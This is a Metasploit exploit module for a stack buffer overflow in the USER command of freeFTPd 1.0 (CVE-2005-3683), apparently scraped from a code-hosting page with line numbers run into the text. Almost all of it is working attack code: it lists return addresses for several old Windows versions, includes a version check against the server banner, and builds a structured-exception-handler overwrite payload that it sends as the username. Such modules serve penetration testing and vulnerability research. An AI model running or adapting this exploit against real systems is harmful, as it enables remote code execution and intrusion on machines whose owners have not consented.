Path: blob/master/modules/exploits/windows/ftp/freeftpd_user.rb
32789 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'freeFTPd 1.0 Username Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the freeFTPd18multi-protocol file transfer service. This flaw can only be19exploited when logging has been enabled (non-default).20},21'Author' => 'MC',22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2005-3683'],25[ 'OSVDB', '20909'],26[ 'BID', '15457']27],28'Privileged' => false,29'Payload' => {30'Space' => 800,31'BadChars' => "\x00\x20\x0a\x0d",32'StackAdjustment' => -350033},34'Targets' => [35[36'Windows 2000 English ALL',37{38'Platform' => 'win',39'Ret' => 0x75022ac440},41],42[43'Windows XP Pro SP0/SP1 English',44{45'Platform' => 'win',46'Ret' => 0x71aa32ad47},48],49[50'Windows NT SP5/SP6a English',51{52'Platform' => 'win',53'Ret' => 0x776a179954},55],56[57'Windows 2003 Server English',58{59'Platform' => 'win',60'Ret' => 0x7ffc063861},62],63],64'DisclosureDate' => '2005-11-16',65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)72end7374def check75connect76disconnect77if (banner =~ /freeFTPd 1\.0/)78return Exploit::CheckCode::Appears79end8081return Exploit::CheckCode::Safe82end8384def exploit85connect8687print_status("Trying target #{target.name}...")8889buf = rand_text_english(1816, payload_badchars)90seh = generate_seh_payload(target.ret)91buf[1008, seh.length] = seh9293send_cmd(['USER', buf], false)9495handler96disconnect97end98end99100101